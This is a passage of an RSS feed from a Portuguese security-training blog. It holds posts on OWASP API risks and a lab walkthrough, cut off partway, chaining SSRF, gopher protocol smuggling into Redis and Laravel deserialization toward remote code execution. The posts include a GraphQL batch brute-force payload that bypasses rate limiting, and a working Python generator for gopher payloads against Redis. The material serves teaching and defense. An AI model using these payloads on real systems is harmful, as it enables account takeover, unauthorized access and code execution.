class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b872b3251c7e1ecd3538a9504507d4ab360de1aee73eea9e56af0c142a654ab9/OWASP/API-Security" alt="Broken Authentication &#x2014; Falhas Cr&#xED;ticas de Autentica&#xE7;&#xE3;o em APIs"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Unrestricted Resource Consumption — Abuso de Recursos e Falhas de Rate Limiting em APIs]]></title><description><![CDATA[<p>A vulnerabilidade <strong>Unrestricted Resource Consumption</strong> representa um risco cr&#xED;tico em <strong>Cyber Security</strong>, permitindo que atacantes explorem o consumo ilimitado de recursos computacionais em APIs modernas.</p><p>Inclu&#xED;da no <strong>OWASP API Security Top 10 (2023)</strong> como sucessora da categoria <em>Lack of Resources &amp; Rate Limiting</em> da edi&#xE7;</p>]]></description><link>https://blog.hackingclub.com/owasp-top-10-2023-rc-unrestricted-resource-consumption/</link><guid isPermaLink="false">64651059dfa294040097e506</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Fri, 26 May 2023 19:22:39 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/resource_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/resource_-HC_BLOG-1.jpg" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"><p>A vulnerabilidade <strong>Unrestricted Resource Consumption</strong> representa um risco cr&#xED;tico em <strong>Cyber Security</strong>, permitindo que atacantes explorem o consumo ilimitado de recursos computacionais em APIs modernas.</p><p>Inclu&#xED;da no <strong>OWASP API Security Top 10 (2023)</strong> como sucessora da categoria <em>Lack of Resources &amp; Rate Limiting</em> da edi&#xE7;&#xE3;o de 2019, essa vulnerabilidade abrange cen&#xE1;rios como upload de arquivos sem limite de tamanho, aus&#xEA;ncia de controle de requisi&#xE7;&#xF5;es simult&#xE2;neas e falta de mecanismos de <strong>rate limiting</strong>. Quando explorada, pode resultar em nega&#xE7;&#xE3;o de servi&#xE7;o (DoS), exaust&#xE3;o de infraestrutura e at&#xE9; facilitar ataques de enumera&#xE7;&#xE3;o de credenciais e automa&#xE7;&#xE3;o maliciosa.</p><h2 id="o-que-%C3%A9-unrestricted-resource-consumption">O que &#xE9; Unrestricted Resource Consumption?</h2><p>Essa vulnerabilidade ocorre quando aplica&#xE7;&#xF5;es n&#xE3;o imp&#xF5;em restri&#xE7;&#xF5;es adequadas sobre o uso de mem&#xF3;ria, processamento, largura de banda ou armazenamento, possibilitando abusos que afetam diretamente a disponibilidade e a estabilidade dos servi&#xE7;os.</p><p>Uma API &#xE9; vulner&#xE1;vel se pelo menos um dos seguintes limites estiver ausente ou definido de forma inadequada:</p><ul><li>Tempo limite de execu&#xE7;&#xE3;o</li><li>Mem&#xF3;ria m&#xE1;xima aloc&#xE1;vel</li><li>N&#xFA;mero m&#xE1;ximo de descritores de arquivo</li><li>N&#xFA;mero m&#xE1;ximo de processos</li><li>Tamanho m&#xE1;ximo do arquivo de upload</li><li>N&#xFA;mero de opera&#xE7;&#xF5;es a serem executadas em uma &#xFA;nica solicita&#xE7;&#xE3;o de cliente de API (por exemplo, lote GraphQL)</li><li>N&#xFA;mero de registros por p&#xE1;gina a serem retornados em uma &#xFA;nica solicita&#xE7;&#xE3;o-resposta</li><li>Limite de gastos de provedores de servi&#xE7;os terceirizados</li></ul><h2 id="cen%C3%A1rios-em-que-unrestricted-resource-consumption-pode-prejudicar-uma-api">Cen&#xE1;rios em que Unrestricted Resource Consumption pode prejudicar uma API </h2><h3 id="cen%C3%A1rio-1">Cen&#xE1;rio 1</h3><p>Imagine que em uma API tenha o seguinte endpoint:</p><pre><code>POST /api/v1/images/upload

data...</code></pre><p>Esse endpoint recebe uma imagem para upload. O que aconteceria se a API n&#xE3;o tivesse um limite de upload definido? Um atacante poderia fazer um DoS enviando uma imagem extremamente grande, assim ocupando grande parte do espa&#xE7;o de armazenamento do servidor. Outro poss&#xED;vel vetor de ataque &#xE9; a falta do rate limit na API, pois se ela controlar o tamanho da imagem mas n&#xE3;o controlar o limite de requisi&#xE7;&#xF5;es feitas durante certo tempo, um atacante pode enviar milhares de imagens para o servidor, assim ocupando muito espa&#xE7;o no armazenamento do servidor.</p><h3 id="cen%C3%A1rio-2">Cen&#xE1;rio 2</h3><p>Um outro cen&#xE1;rio vulner&#xE1;vel a Unrestricted Resource Consumption &#xE9; aquele que define o limite de opera&#xE7;&#xF5;es em uma &#xFA;nica requisi&#xE7;&#xE3;o, como exemplo o GraphQL aceitar diversas querys utilizando a mesma mutation em uma &#xFA;nica requisi&#xE7;&#xE3;o:</p><pre><code>POST /graphql

[
    &quot;query&quot;: &quot;mutation {
    	    activateEmail(
                email: \&quot;guest@crowsec.com.br\&quot;,
                code: \&quot;0000\&quot;
            )
        }&quot;
    },
    &quot;query&quot;: &quot;mutation {
    	    activateEmail(
                email: \&quot;guest@crowsec.com.br\&quot;,
                code: \&quot;0001\&quot;
            )
        }&quot;
    },
    
    ...
    
    &quot;query&quot;: &quot;mutation {
    	    activateEmail(
                email: \&quot;guest@crowsec.com.br\&quot;,
                code: \&quot;9999\&quot;
            )
        }&quot;
    }
]</code></pre><p>Veja que podemos especificar diversas querys utilizando a mesma mutation em uma &#xFA;nica requisi&#xE7;&#xE3;o, assim possibilitando um brute force. No exemplo acima, enviamos diversas querys contendo o mesmo email para ativa&#xE7;&#xE3;o e especificando c&#xF3;digos diferentes (de 0000 at&#xE9; 9999), assim um dos c&#xF3;digos estar&#xE1; correto e nossa conta ser&#xE1; ativada. Isso &#xE9; uma &#xF3;tima forma de bypass em uma API que tenha rate limiting, pois estamos fazendo o brute force em apenas uma requisi&#xE7;&#xE3;o. </p><h2 id="como-prevenir-nossas-apis-contra-unrestricted-resource-consumption">Como prevenir nossas APIs contra Unrestricted Resource Consumption?</h2><p>Para nos prevenirmos contra esse ataque, devemos utilizar solu&#xE7;&#xF5;es para permitir uma quantidade de requisi&#xE7;&#xF5;es por determinado per&#xED;odo, devemos definir limites para que nossa API n&#xE3;o sofra DoS, e se poss&#xED;vel utilizar containers para balanceamento de carga, assim protegendo contra ataques que sobrecarreguem os processos do servidor.</p><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/0xa4-unrestricted-resource-consumption.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b872b3251c7e1ecd3538a9504507d4ab360de1aee73eea9e56af0c142a654ab9/OWASP/API-Security" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://blog.postman.com/owasp-api-security-top-10-2023-and-graphql/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">OWASP API Security Top 10 2023 and GraphQL | Postman Blog</div><div class="kg-bookmark-description">Explore 2023&#x2019;s API security risks in more detail, focusing on a concrete example: a GraphQL API. Ensure your APIs are secure and well-protected.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://blog.postman.com/wp-content/uploads/2021/11/cropped-favicon-270x270.png" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"><span class="kg-bookmark-author">Postman Blog</span><span class="kg-bookmark-publisher">Guest Author</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://blog.postman.com/wp-content/uploads/2023/04/OWASP-API-Security-Top-10-2023-and-GraphQL-v1b@2x.jpg" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">OWASP API Security Project | OWASP Foundation</div><div class="kg-bookmark-description">OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://owasp.org/www--site-theme/favicon.ico" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"><span class="kg-bookmark-author">OWASP logo</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://owasp.org/www--site-theme/favicon.ico" alt="Unrestricted Resource Consumption &#x2014; Abuso de Recursos e Falhas de Rate Limiting em APIs"></div></a></figure><h2 id="onde-praticar-hacking"><strong>Onde praticar Hacking ?</strong></h2><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking. Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!</p>]]></content:encoded></item><item><title><![CDATA[Broken Object Property Level Authorization — Falhas de Acesso a Propriedades Sensíveis em APIs]]></title><description><![CDATA[<p>A vulnerabilidade <strong>Broken Object Property Level Authorization (BOPLA)</strong> representa uma falha cr&#xED;tica de controle de acesso em <strong>APIs modernas</strong>, permitindo que usu&#xE1;rios acessem ou modifiquem propriedades espec&#xED;ficas de objetos sem possuir os privil&#xE9;gios adequados. Diferente de falhas que exp&#xF5;em objetos</p>]]></description><link>https://blog.hackingclub.com/broken/</link><guid isPermaLink="false">645a7c33dfa294040097e3b8</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Mon, 15 May 2023 21:17:48 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/property_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/property_-HC_BLOG-1.jpg" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><p>A vulnerabilidade <strong>Broken Object Property Level Authorization (BOPLA)</strong> representa uma falha cr&#xED;tica de controle de acesso em <strong>APIs modernas</strong>, permitindo que usu&#xE1;rios acessem ou modifiquem propriedades espec&#xED;ficas de objetos sem possuir os privil&#xE9;gios adequados. Diferente de falhas que exp&#xF5;em objetos inteiros, esse problema ocorre em n&#xED;veis mais granulares da estrutura de dados, tornando sua detec&#xE7;&#xE3;o mais complexa e ampliando os riscos de exposi&#xE7;&#xE3;o de informa&#xE7;&#xF5;es sens&#xED;veis.</p><p>Inclu&#xED;da no <strong>OWASP API Security Top 10 (2023)</strong>, essa vulnerabilidade &#xE9; comum em aplica&#xE7;&#xF5;es que retornam respostas excessivas de dados (<em>excessive data exposure</em>) ou n&#xE3;o validam corretamente permiss&#xF5;es em campos espec&#xED;ficos de requisi&#xE7;&#xF5;es e respostas. Quando explorada, pode permitir vazamento de dados confidenciais, manipula&#xE7;&#xE3;o de atributos cr&#xED;ticos e eleva&#xE7;&#xE3;o indevida de privil&#xE9;gios dentro da aplica&#xE7;&#xE3;o.</p><p>No OWSAP TOP 10 2023 RC foi adicionado a vulnerabilidade Broken Object Property Level Authorization que engloba Excessive Data Exposure e Mass Assignment. Veja na imagem abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/05/Image20230330160048.jpg" class="kg-image" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs" loading="lazy" width="999" height="828" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/05/Image20230330160048.jpg 600w, https://blog.hackingclub.com/content/images/2023/05/Image20230330160048.jpg 999w" sizes="(min-width: 720px) 720px"></figure><p>Ent&#xE3;o, quando um usu&#xE1;rio tem acesso a propriedades de um objeto sem possuir os privil&#xE9;gios necessarios, significa que a API est&#xE1; vulner&#xE1;vel a Broken Object Property Level Authorization.</p><h2 id="como-explorar-o-broken-object-property-level-authorization">Como explorar o Broken Object Property Level Authorization?</h2><p>Uma das formas de explorar o Broken Object Property Level Authorization &#xE9; alterar propriedades de um objeto que n&#xE3;o teriamos privl&#xE9;gios para alterar. Um exemplo disso &#xE9; o Mass Assignment, onde alteramos propriedades al&#xE9;m das que foram configuradas para o usu&#xE1;rio alterar. Para conhecer, explorar e corrigir o Mass Assignment, veja o artigo escrito em nosso blog:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://blog.hackingclub.com/conhecendo-o-mass-assignment/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Conhecendo o Mass Assignment</div><div class="kg-bookmark-description">O que &#xE9; o Mass Assignment?O Mass Assignment &#xE9; uma vulnerabilidade que permite com que o atacante manipule informa&#xE7;&#xF5;es que n&#xE3;o poderiam ser atualizadas ou inseridas por um usu&#xE1;rio comum no banco de dados. Essa vulnerabilidade geralmente ocorre quando a aplica&#xE7;&#xE3;o n&#xE3;o valida os campos enviados pelo usu&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://blog.hackingclub.com/favicon.ico" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><span class="kg-bookmark-author">Crowsec EdTech</span><span class="kg-bookmark-publisher">Murilo Caixeta</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://blog.hackingclub.com/content/images/2023/02/Blue-White-Modern-Abstract-Back-to-School-Blog-Banner--2-.png" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"></div></a></figure><p>Outra forma de explorar o Broken Object Property Level Authorization &#xE9; encontrando endpoints que exp&#xF5;e propriedades de um Objeto, segue o exemplo abaixo:</p><p>Cen&#xE1;rio:<br>Um aplicativo de uma rede social tem uma funcionalidade de reportar usu&#xE1;rios mal intencinados. Nessa funcionalidade, o aplicativo vai enviar uma requisi&#xE7;&#xE3;o POST para /api/report/user:</p><pre><code>POST /api/report/user

userid=9XuMka&amp;reported_by=4LksI3</code></pre><p>E a aplica&#xE7;&#xE3;o responde com as seguintes informa&#xE7;&#xF5;es:</p><pre><code class="language-JSON">{
	&quot;userid_reported&quot;: &quot;9XuMka&quot;,
    	&quot;user_reported&quot;: {
    		&quot;name&quot;: &quot;John&quot;,
        	&quot;lastName&quot;: &quot;Doe&quot;,
        	&quot;email&quot;: &quot;johndoe@fakemail.com&quot;,
        	&quot;age&quot;: &quot;25&quot;,
            &quot;cpf&quot;: &quot;999.999.999-99&quot;,
            &quot;birthdate&quot;: &quot;1998&quot;
    	}
}</code></pre><hr><p>Veja que a aplica&#xE7;&#xE3;o exp&#xF4;s os dados do usu&#xE1;rio reportado, como: nome, sobrenome, email, idade, cpf e data de nascimento.</p><h2 id="como-se-proteger-contra-o-broken-object-property-level-authorization">Como se proteger contra o Broken Object Property Level Authorization?</h2><p>Quando estiver desenvolvendo uma API, fique atento as funcionalidades que comunicam com propriedades de um objeto, como o Mass Assignment. Para proteger contra o Mass Assignment deve verificar e sanitizar o input do usu&#xE1;rio para que ele n&#xE3;o consiga alterar valores de outras propriedades.</p><p>Outro ponto importante &#xE9; verificar a resposta que enviamos para uma requisi&#xE7;&#xE3;o, pois n&#xE3;o podemos expor propriedades que n&#xE3;o foram especificadas na requisi&#xE7;&#xE3;o do lado do cliente. No exemplo acima, vemos que na requisi&#xE7;&#xE3;o foi especificado apenas o &quot;userid&quot; e a resposta nos trouxe o nome, sobrenome, email, idade, cpf e data de nascimento do usu&#xE1;rio reportado. Isso &#xE9; prejudicial, pois ajuda os atacantes realizarem phishing com a v&#xED;tima.</p><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://community.f5.com/t5/technical-articles/introduction-to-owasp-api-security-top-10-2023-rc/ta-p/312309?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Introduction to OWASP API Security Top 10 2023 (RC)</div><div class="kg-bookmark-description">Introduction to API: An Application Programming Interface (API) is a component that enables communication between two different systems by following certain rules. It also adds a layer of abstraction between the two systems where the requester does not know how the other system has derived the resul&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://community.f5.com/html/assets/apple-touch-icon.png?v=2" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><span class="kg-bookmark-author">DevCentral - an F5 Community</span><span class="kg-bookmark-publisher">Shubham_Mishra</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://community.f5.com/html/assets/android-chrome-256x256.png" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa3-broken-object-property-level-authorization.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/0xa3-broken-object-property-level-authorization.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b872b3251c7e1ecd3538a9504507d4ab360de1aee73eea9e56af0c142a654ab9/OWASP/API-Security" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa3-excessive-data-exposure.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/0xa3-excessive-data-exposure.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b872b3251c7e1ecd3538a9504507d4ab360de1aee73eea9e56af0c142a654ab9/OWASP/API-Security" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa6-mass-assignment.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/0xa6-mass-assignment.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b872b3251c7e1ecd3538a9504507d4ab360de1aee73eea9e56af0c142a654ab9/OWASP/API-Security" alt="Broken Object Property Level Authorization &#x2014; Falhas de Acesso a Propriedades Sens&#xED;veis em APIs"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Explorando RCE via Desserialização Insegura e SSRF Protocol Smuggling]]></title><description><![CDATA[<p>A combina&#xE7;&#xE3;o de <strong>desserializa&#xE7;&#xE3;o insegura</strong> com t&#xE9;cnicas de <strong>SSRF Protocol Smuggling</strong> representa um dos vetores mais avan&#xE7;ados de explora&#xE7;&#xE3;o em <strong>Cyber Security</strong>, permitindo que atacantes encadeiem vulnerabilidades para alcan&#xE7;ar <strong>Remote Code Execution (RCE)</strong> em aplica&</p>]]></description><link>https://blog.hackingclub.com/obtendo-rce/</link><guid isPermaLink="false">6446ba9cdfa294040097e146</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Sat, 06 May 2023 00:51:51 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/smuggling_-HC_BLOG-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/smuggling_-HC_BLOG-2.jpg" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"><p>A combina&#xE7;&#xE3;o de <strong>desserializa&#xE7;&#xE3;o insegura</strong> com t&#xE9;cnicas de <strong>SSRF Protocol Smuggling</strong> representa um dos vetores mais avan&#xE7;ados de explora&#xE7;&#xE3;o em <strong>Cyber Security</strong>, permitindo que atacantes encadeiem vulnerabilidades para alcan&#xE7;ar <strong>Remote Code Execution (RCE)</strong> em aplica&#xE7;&#xF5;es modernas. Esse tipo de ataque envolve manipula&#xE7;&#xE3;o sofisticada de protocolos e objetos serializados, explorando falhas l&#xF3;gicas dif&#xED;ceis de identificar em testes tradicionais de seguran&#xE7;a.</p><p>Neste artigo, analisamos um cen&#xE1;rio pr&#xE1;tico de explora&#xE7;&#xE3;o que demonstra como vulnerabilidades aparentemente isoladas podem ser combinadas para comprometer totalmente um sistema. Por se tratar de uma t&#xE9;cnica avan&#xE7;ada, &#xE9; recomend&#xE1;vel possuir conhecimentos pr&#xE9;vios sobre <a href="https://blog.hackingclub.com/des/" rel="noreferrer">desserializa&#xE7;&#xE3;o insegura</a>, <a href="https://blog.hackingclub.com/test/" rel="noreferrer"><strong>Server-Side Request Forgery (SSRF)</strong> </a>e t&#xE9;cnicas de <em>protocol smuggling</em>, temas j&#xE1; abordados em artigos anteriores.</p><h2 id="conhecendo-o-cen%C3%A1rio-e-a-infraestrutura">Conhecendo o cen&#xE1;rio e a infraestrutura</h2><p>Um cen&#xE1;rio ideal para essa explora&#xE7;&#xE3;o, seria uma aplica&#xE7;&#xE3;o que armazena suas sess&#xF5;es serializadas no Redis, como exemplo o Laravel, pois ele utiliza sess&#xF5;es serializadas, e &#xE9; comum utilizar o Redis para armazenar suas sess&#xF5;es.</p><p>Em um cen&#xE1;rio desses, se conseguirmos um SSRF e utilizarmos a t&#xE9;cnica de Protocol Smuggling, podemos acessar o Redis para alterar o conte&#xFA;do da nossa sess&#xE3;o, assim explorando uma desserializa&#xE7;&#xE3;o insegura.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/Screenshot-2023-04-24-150750.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1153" height="561" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/Screenshot-2023-04-24-150750.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/Screenshot-2023-04-24-150750.png 1000w, https://blog.hackingclub.com/content/images/2023/04/Screenshot-2023-04-24-150750.png 1153w" sizes="(min-width: 720px) 720px"></figure><p>Na imagem acima, vemos que o Nginx faz forwarding da porta 127.0.0.1:8000 para *:80, assim expondo o Laravel para a internet. Vemos que o redis est&#xE1; dispon&#xED;vel apenas para a rede interna, ent&#xE3;o para acessarmos ele, precisamos de um SSRF e utilizarmos a t&#xE9;cnica de Protocol Smuggling.</p><h2 id="acessando-redis-via-protocol-smuggling">Acessando Redis via Protocol Smuggling</h2><p>Para executarmos comandos no Redis com o protocolo gopher, precisamos inserir o CRLF no final de cada comando e fazermos double-urlencode (o double-urlencode &#xE9; necess&#xE1;rio em algumas ocasi&#xF5;es, como webapps, que geralmente fazem 1 decode por padr&#xE3;o, ent&#xE3;o precisamos fazer 2 encodes na payload). Criei um script em python simples que gera a payload automaticamente:</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">import urllib.parse
import sys


def generate_payload(ip, command):
    command += &quot;\r\nquit\r\n&quot;
    gopher_payload = f&quot;gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}&quot;
    return gopher_payload

if __name__ == &quot;__main__&quot;:
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))</code></pre><figcaption><p><span style="white-space: pre-wrap;">Observe que o script insere o comando &quot;quit&quot; para finalizar a conex&#xE3;o com o redis</span></p></figcaption></figure><p>Executando o script acima: <code>python3 script.py redis &quot;keys *&quot;</code>, obtemos o output:</p><pre><code>gopher://redis:6379/_keys%2520%252A%250D%250Aquit%250D%250A</code></pre><p>Enviando a payload em uma vulnerabilidade de SSRF, vemos que o Redis nos retorna o output do comando executado:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_21-34.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1637" height="588" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_21-34.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_21-34.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_21-34.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_21-34.png 1637w" sizes="(min-width: 720px) 720px"></figure><h2 id="explorando-desserializa%C3%A7%C3%A3o-insegura-via-protocol-smuggling">Explorando desserializa&#xE7;&#xE3;o insegura via Protocol Smuggling:</h2><p>Para esse artigo, criamos um laborat&#xF3;rio para voc&#xEA; colocar em pr&#xE1;tica esse conte&#xFA;do. O link do reposit&#xF3;rio no github est&#xE1; no final do artigo.</p><p>Entrando na p&#xE1;gina inicial, vemos que a aplica&#xE7;&#xE3;o est&#xE1; utilizando o Laravel:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_21-51.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1891" height="798" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_21-51.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_21-51.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_21-51.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_21-51.png 1891w" sizes="(min-width: 720px) 720px"></figure><p>Fazendo fuzzing, vemos que o .env est&#xE1; exposto na aplica&#xE7;&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-00.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1251" height="586" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-00.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-00.png 1000w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-00.png 1251w" sizes="(min-width: 720px) 720px"></figure><p>A aplica&#xE7;&#xE3;o est&#xE1; utilizando o redis para armazenar suas sess&#xF5;es. Vemos que o endere&#xE7;o IP do redis &#xE9; &quot;redis&quot;, pois essa aplica&#xE7;&#xE3;o deve estar configurada em uma rede do docker-composer.</p><p>Na p&#xE1;gina principal, vemos um campo para inserir uma URL para verificar se ela est&#xE1; funcional ou n&#xE3;o. Enviando uma URL e interceptando a requisi&#xE7;&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-03.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1584" height="784" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-03.png 1000w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-03.png 1584w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que a aplica&#xE7;&#xE3;o possibilita uma requisi&#xE7;&#xE3;o para localhost, ent&#xE3;o pode ser que esteja vulner&#xE1;vel &#xE0; SSRF. Enviando uma requisi&#xE7;&#xE3;o utilizando o protocolo gopher:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-07.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1669" height="925" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-07.png 600w, 